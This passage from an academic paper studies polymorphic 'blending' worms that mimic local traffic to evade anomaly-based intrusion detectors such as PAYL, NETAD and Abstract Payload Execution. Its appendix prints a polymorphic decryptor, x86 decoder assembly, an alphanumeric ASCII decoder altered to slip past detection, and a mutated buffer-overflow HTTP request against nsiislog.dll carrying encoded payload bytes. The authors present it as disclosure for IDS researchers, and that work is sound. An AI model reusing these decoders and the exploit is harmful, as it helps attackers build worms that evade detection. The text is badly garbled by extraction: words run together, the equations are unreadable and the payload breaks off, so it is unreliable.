ing HTTPtraf®c. Ourgoalwasto setuptheIDS sothatit hadthebestpossiblechances
of detectingourmutatedexploit.

We performedmanualandsemi-automatic®ltering on the input datasetbasedon
livepacketcapturesin ournetwork usingSnortto removeknown attacks.Everypacket
in thesetwasthe®rst datapacketof anHTTPrequestsinceNETAD only considersthe
initial datapacketsof TCPconnections.

After training,we injecteda mutatedpacket into NETAD andchecked it with the
eval function usedby the implementationto calculateanomalyscores.Although in
our example,we did not consideroffsetsfor allowedvalues,theanomalyscorefor our
packet wasstill within the rangefor normalpackets (0.773980).The anomalyscore
couldbeevenlower if thepositionsof allowedbyteswereconsideredin mappings.

PAYL Theanomalyscorefor PAYL is shown in Eq.(2). formula:

��� 	 ��� � � �
��� ���
	�� � � � ��� �� ��
 � (2)

Here,
� � is thefrequency of # in atestedpacket

�
, and 	 � is theaveragefrequency of# in normaltraf®c,

�
is thevarianceof thevaluein normaltraf®c, and 
 is asmoothing

factorto preventdivisionby zero.
Theapproachcanbeevadedby polymorphicblendingbecause,aswe hadshown,

thefrequenciesof valuesin theattackpacketcancloselymatchthosein normaltraf®c,
asdepictedin Figure4.

Evaluation. We usednetwork tracestakenfrom theGeorgiaTechCollegeof Com-
puting backboneto train the payl tool. The network load on the backboneaverages
around150MB/s.Thetrace®leswerecapturedoverseveraldaysof monitoring.

We replayedthe tracesto train payl. After payl createda working model of the
traf®c, we testedit with Nikto, a vulnerability scannerfor CGI/webserversbasedon
LibWhisker [CIR04]. First, Nikto was usedto sendattackpackets to the target. As
expected,payl caughtnumerousanomaliesin the traf®c. This veri®edfor us thatpayl
wasworking, properlycon®gured,hada working modelof normal traf®c, andcould
issuealerts.

Next, we generatedandsenta versionof worm thatwasblendedusinga ®ctitious
normalpro®le.Thepaylgeneratedanalert,asexpected.

Finally, we generateda blendedversionof theworm basedon the®rst 1000HTTP
requestssniffedon thesamenetwork. We senttheworm to a victim hostmonitoredby
payl.This time,sincetheworm's blendedpatternmatchedthemodelusedby theIDS,
payl did not issueanalert.

Fromthis we concluded:

1. Payl'shost-speci®cpro®leswereeffectiveatstoppingnumerousattacksandprobes.
2. Whenthewormwastrainedusingpacketsfrom thenetwork monitoredby payl,we

couldevadetheIDS.
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Service-Speci®cIDS Theanomalyscorefor Service-Speci®cIDS is shown in Eq.(3).

��� 	 ��� ��� � � � ������� � � � � ��� �
	�����
 � � � � � ����� ��� ��� (3)

This approachcan be evadedby polymorphicblendingbecausethe type of the
packet may be legitimate(as in our case)and the payloadcanbe mutatedto ®t into
thenormaltraf®c pro®le by adjusting

�
to be closeto � � , asexplainedbelow. If one

of theattackinvariantsmandatessendinga largepacket andsuchpacketsnever occur
normally, a wormcansimplyemploy a differentattack.

RequesttypeThiscomponentof theanomalyscoreisde®nedas: � ������� � ������� � ��� � �
! �

,
whereP[t] is theprobabilityof a requestof type � .This componentmay mark a mutatedattackasanomalousif a particularexploit
invariantrequiresawormto usethespeci®crequesttypethatis anomalousfor thegiven
network. Thebaseexploit we usein themutatedattacksendsa POSTrequest.This is
a legitimaterequestthatcommonlyoccurson our network soit will not beanomalous
accordingto this componentof theanomalyscore.

RequestlengthTheformulausedfor thiscomponentis: ��� ��	�����
 � � � � � �"!$#�%�& � �(' ) �+* %
,

where , is themeanof ananomalyrequestand
�

is thestandarddeviation of requests
duringtraining.

Recallthatoneof theexploit invariantsin our examplewasthesizeof theexploit.
Thesizehasto beat least10k for theexploit to over�ow thebuffer of thetarget.Still,
our attackis likely to evadethis componentof theanomalyscore.Oneof the reasons
is that POSTrequestson our network that involve transmitting10k of dataarefairly
commonthoughmuch lessfrequentthan shorterrequests(the relative rate of large
HTTPPOSTSis approximately0.003of therateof requestsunder1500bytes).

Thisis probablyuntruefor all networks.However, theconclusionstill holdsbecause
stealthywormscanchooseattacksto usebasedonthenormaltraf®c.Obviously, if there
is no suitabletraf®c on thelocal network for mutationof a particularattackvector, the
worm cansimplyusea differentattackvector.

Payload Distrib ution The formula usedfor this componentis: � � ��� ��� ��� �.- � �� � � � � � , where - � �0/21�4365 ��� � � � � � � � � � � � , where
� � is a valueobservedin training

and � � is theexpectedvalue.As shown earlier, a worm maybeableto mutateattacks
sothatcollectively, � � areascloseto � � asnormaltraf®c sothemutatedattackwill not
causeananomaly.

Abstract Payload Execution This method,presentedby Toth and Kruegel [TC02]
detectsanomaliesby ®nding thelongestMaximumExecutableLength(MEL). MEL is
calculatedfor everypossibleoffsetin a packetandthenthemaximumfor thepacket is
chosen.

Weusedthepubliclyavailableimplementationof themethodaspartof theApache's
mod detect . Werantheget ei functionafterconstructingatrie, thestructureused
in the approach,to calculatethe MEL for our mutatedexploit. Whenwe ran the im-
plementationon our blendedattack,it detecteda MEL of size96. This meantthat the
attackwould be marked asanomalousbecause,accordingto the authors,the average
MEL for HTTPtraf®c is muchlowerandis around5 [TC02].



Advanced Polymorphic Worms 17

We were able to evadethe approachby making a simple changeto the mutated
attack.We diluted theexecutableASCII decoder(thecauseof thehigh MEL) by ran-
domly injectingspecialcharactersthatdid not affect theexecutionof thedecoderbut
madethedecoderlook like severalsmall instructionsequencesratherthanoneinstruc-
tion sequencewith a big MEL. We insertedthe following two characters:54h and
5chthatcorrespondto push esp;pop esp sequence.Thecharactersarelegitimate
charactersthatappearin normalHTTPtraf®c.

As aresult,theMEL of ourattackdroppedto 4, whichis anormalvalueHTTPtraf-
®c. ThedilutedexecutableASCII decoderis delineatedbelow. Youcanseetheinjected
2-tupleas'T � ' in ASCII:

%#.-%%DABB-#NzzT\-xzzzT\-zzzzP-#A##T\-n x.HT\- zzvzP- #O##
T\-Az.#-xz5yPT\-##p#-goz-T\-zzz%P-##a#T \-WUvy T\-zzz zPT\
-.###T\-tn#JT\-zzKzP-####T\-#V##-ezpDPT \-#U## -pz.LT \-zz
yzPT\-#.##-czcZT\-zzzzPT\-%Y##T\-%zyk-% zzzPT\ -##i#- ##z1
T\-sDzzPT\-#.M#T\-#wz4-DzzzPT\-#d##T\-. za#-0z tkPT\- eZ#B
-zz.zT\-zzzzP-#D##T\-#zZ#-fzzlPT\-###p- #a#zT\ -EuQzP-##s
iT\--izz-%zzzPT\-####T\-cb#dT\-zz8zP-## ##T\-# .#a-0q 6zPT
\-e##H-z##zT\-z64zP-####T\-6##.T\-zyCrP T\-j## L-zbbz T\-z
zzzP-##LkT\-CfzzT\-zzzzP

Note that the sizeof the executableASCII decoderfrom the previoussectionhas
increasedfrom 379 to 465 bytes.Generallyspeaking,the impactof addeddetail and
improvementsin IDS methodstranslatesinto morework for wormsto blendin aswell
aslongerblendedpackets.Biggerworms,in turn, aremorelikely to bedetected.As a
result,they mustaddcodeto hidebetter, which addscomplexity andeventuallymakes
thenumberof peoplethatcouldwrite suchwormslow enoughto signi®cantlyreduce
thenumberof suchwormsandthelikelihoodof themappearing.

7 RelatedWork

Therehasbeena numberof documentedstudiesthatinvestigatedcomputerwormsand
thewaysin which they propagate.Stanifordet al. presenteda studyof differenttypes
of wormsandhow they cancausedamageontheInternet[SPW02].Zouetal. [ZGT02]
analyzedthe propagationof the Code2 Red worm andpresentedan analyticmodel
for worm propagation;Moore et al. [MPS

�

03] analyzedthe propagationof the SQL
Slammerworm and its effect on the Internet.Noneof the existing studies,however,
providemuchdetailwith respectto slow-propagatingstealthywormsthatmutatetheir
code.

Several researchershave mentionedthe possibility of polymorphicworms,most
recently[N.S03,M.T03,SK03]. However, our paperis the ®rst to describeandstudy
suchworms.The paperof Deri et al. discussesclassifying the effects of a security
violationin network traf®c for thepurposeof identifyingasmallsetof traf®c parameters
whosevaluechangessigni®cantlyduringanattack(a litmuspaperapproach)[LSG03].
This work is very relevant to theattackswe describedandthe ideascouldpotentially
beusedto addressthethreat.
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In thedomainof IDS evasion,thefundamentalpaperpertainingto our approachis
by PtacekandNewsham[TT98]. Thepaperdemonstratesseveralproblemswith relia-
bility of passive protocolanalysis:insuf®cient informationon thewire for conclusions
on what is actuallyhappeningon networkedmachines,andthefact that IDS areoften
inherently”f ail-open”.Our approachis similar in that it exploits thefactthatNetwork
IDS donothavesuf®cientknowledgeaboutwhatis considerednormalfor anindividual
host.

Mooreet al. [MSVS03] exploredthedesignspacefor worm containmentsystems.
They studiedtheef®cacy of addressblacklistingandcontent®ltering with variousde-
ploymentscenarios.They concludedthat, in order for the containmentsystemto be
effective,detectionandcontainmentmustbeinitiatedquickly andbeperformedwithin
alocalnetwork aswell asonaglobalscale.Thisemphasizestheimportanceof address-
ing thethreatwepresentin this paper.

Singhetal. [SCGS03] proposedasystemfor real-timedetectionof unknownworms
usingtraf®c analysisandcontentsignatures.The authorsintroducedthe propagation
factorfrequentlyreferredtobyourpaper. TheSinghpapershowedthatdetectingworms
using bandwidthincreasescan be quite effective againstworms with high propaga-
tion factor. [ZGGT03] proposedto monitorunusedaddressspaceon ingressandegress
routersin orderto detectwormsat their early propagationstage,which couldhelp to
addressoneof themultiple facetsof theproblemwe describe.

8 Conclusions

In this paper, we presentedthe ideaof stealthywormsusingknowledgeaboutnormal
traf®c ona localnetwork to hidetheirpropagationattempts.We haveexaminedseveral
IDS implementationsandshowedthatpolymorphicblendingattacksarepracticaland
canbeusedto evadeIDS.

Our objectivewasto bring thedetailsof this new threatto theattentionof theIDS
communityto make sureeffective defensescanbedevelopedbeforemaliciousworms
using the techniqueswe describedappear. We strongly urge the IDS researchersto
considerhow the blendingworm strategies can be defeated.The exampleswe have
providedall dependonsimple1-gramIDS approaches,sowespeculatethatusingmore
complex (e.g.,2-gramapproaches)mayprovidesomeshort-termrelief. Furtherwork is
neededin this area.
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Appendix

8.1 PD Skeleton

PD Skeleton:
<LOAD_ADDR_REG>
<ADJUST_ADDR_REG>
<LOAD_COUNTER>
<ADJUST_COUNTER>

DCRYPT_:
<LOAD_MR>
<TRANSFORMATION1>
<TRANSFORMATION2>
...
<TRANSFORMATIONk>
<STORE_RM>
<INCREASE_ADDR_REG>
<DECREASE_COUNTER>
<LOOP_NONZERO_DCRYPT_>

8.2 PD Example

@@entry:
call @@load_addr ; load the addr of the PD in memory

@@load_addr:
pop $addr_reg
add $addr_reg,54h ; adjust for the length of the PD
add $addr_reg,26h ; in two operations
push 1200h ; initialize counter to 1298h in several steps
pop $counter_reg
add $counter_reg,98h

@@dcrypt_:
mov $work_reg, [$addr_reg] ; load value. m->r
xor $work_reg, $key ; transformation 1 (op: 35h/81h+arg, 5/6 bytes)
add $work_reg, $key ; transformation 2 (op: 05h/81h+arg, 5/6 bytes)
rol $work_reg, $key ; transformation 3 (op: C1h C0h+arg, 3 bytes)
add $work_reg, $key ; transformation 4
mov [$addr_reg],$work_reg ; store value. r->m
add $addr_reg, 4 ; increase the address
sub $counter_reg, 4 ; decrease counter
test $counter_reg,$counter_reg ; complete?
jnz @@dcrypt__

@@loader:
(padding+decrypted_loader_code)

8.3 AdvancedPD supporting mappings

@@pd_entry_:
cld ; direction
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mov esi, $wormpe ; offset of the worm/pe (read)
mov edi, $wormpe ; offset of the worm/pe (write)
xor eax,eax ; reset eax
mov ebx,eax ; reset ebx
mov bh, $control_char ; control character

@@decode_worm_:
cmp esi, $worm_end ; decoding complete?
jnz @@continue_
push dword $wormpe
ret ; jump to the decoded worm

@@continue_:
lodsb ; load a byte to decode in al, inc esi
cmp al, bh ; control character?
jnz @@no_control ; no
mov ah, al
lodsb ; load the selector byte
xchg ah, al ; al = <ctl>, ah=<selector>

@@no_control_:
mov ebp, $maptable ; offset of the mappings
xor ecx,ecx ; index = 0

@@lookup_mapping_:
mov bl, [ebp] ; load the first byte of mappings
cmp al, bl ; match?
jz @@found_
cmp bl,bh ; control character?
jnz @@skip_one_
inc ebp

@@skip_one_:
inc ebp
inc ecx
jmp @@lookup_mapping_ ; next mapping

@@found_:
cmp al, bh ; control character?
jnz @@found1_ ; no
inc ebp
mov bl, [ebp]
cmp ah, bl ; selectors match?
jz @@found1_
inc ebp ; continue looking
inc ecx
jmp @@lookup_mapping_

@@found1_:
mov al,cl
stosb ; store the decoded byte
jmp @@decode_worm_ ; continue

8.4 Mutated Exploit Example

POST scripts/nsiislog.dll HTTP/1.1<CR><LF>
Accept: */*<CR><LF>
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User-Agent: NSPlayer/9.0.0.2980<CR><LF>
Host: media.alldanzradio.com<CR><LF>
Pragma: xClientGUID={3300AD50-2C39-46c0-AE0A- 9BCDF936C547}<CR><LF>
X-Accept-Authentication: Negotiate, NTLM, Digest, Basic<CR><LF>
Pragma: client-id=4005261325<CR><LF>
Content-Length: 9996<CR><LF>
Content-Type: text/plain<CR><LF>
<CR><LF>
<Summary>0.0.0.0 2004-03-27 19:41:44 - http://media.alldanzradio.com/
choiceradiobb/bb/rr/rr20447_48.wma 0 46 5 200 {3300AD50-2C39-46c0-
AE0A-915450A9588A} 9.0.0.2980 en-USWMFSDK/9.0.0.2980_WMPlayer/9.0.0
.3075 - wmplayer.exe 9.0.0.2980 Windows_XP 5.1.0.2600 Pentium 241

1473698 254388 http TCP - - - - 1477432 - 652 0 0 0 0 0 0 1 0 100
- - - - mms://media.alldanzradio.com/choicer adiobb /bb/rr /rr204 47_

48.wma?channel=382 rr20447_48.wma - </Summary><date>2004-03-27</date>
<time>18:21:34</time><cs-User-Agent>WMF SDK/9. 0.0/SF 54</cs -User- Agent>
...
<Cookie>
%#.-%%DABB-#Nzz-xzzz-zzzzP-#A##-nx.H-zz vzP-#O ##-Az. #-xz5y P-##p# -goz
--zzz%P-##a#-WUvy-zzzzP-.###-tn#J-zzKzP -####- #V##-e zpDP-# U##-pz .L-zz
yzP-#.##-czcZ-zzzzP-%Y##-%zyk-%zzzP-##i #-##z1 -sDzzP -#.M#- #wz4-D zzzP-
#d##-.za#-0ztkP-eZ#B-zz.z-zzzzP-#D##-#z Z#-fzz lP-### p-#a#z -EuQzP-##si
--izz-%zzzP-####-cb#d-zz8zP-####-#.#a-0 q6zP-e ##H-z# #z-z64 zP-### #-6##
.-zyCrP-j##L-zbbz-zzzzP-##Lk-Cfzz-zzzzP
</Cookie>
<tag>This fake padding shows where the PD is going to be reconstructed
(must be at least 98 bytes), replaced by ASCII decoder on the stack
</tag>
ehP:)er1e\eme3}e1eMLNv@ DhesJvAe1eBIUK1vvEL6eL:eiesSneH6/eteg)5 hV)
#epe;ekeˆMLH-/MZz484B5SFwxeR8.bbe8)elVk e7eC|z ?qRNepweOIj+ 1e0Ulz eoZ
ecedueOnuc8e]eXBe97ny7+e|eiWKrqd2Qee9{S x)6ETh e>RPe3AP80MFePMob
eIQew2NW0eDm;e?ye<eVf-NeFeJB.ee<eWehyr- e}Xee_ ;eneˆˆ M euˆMGemeV
Je)HZ=xB6Uez{e+D-_KIePTeYVeqHleceT@ +XenweGoH-gˆMxeey˜C3eU/-Be-e
[...]


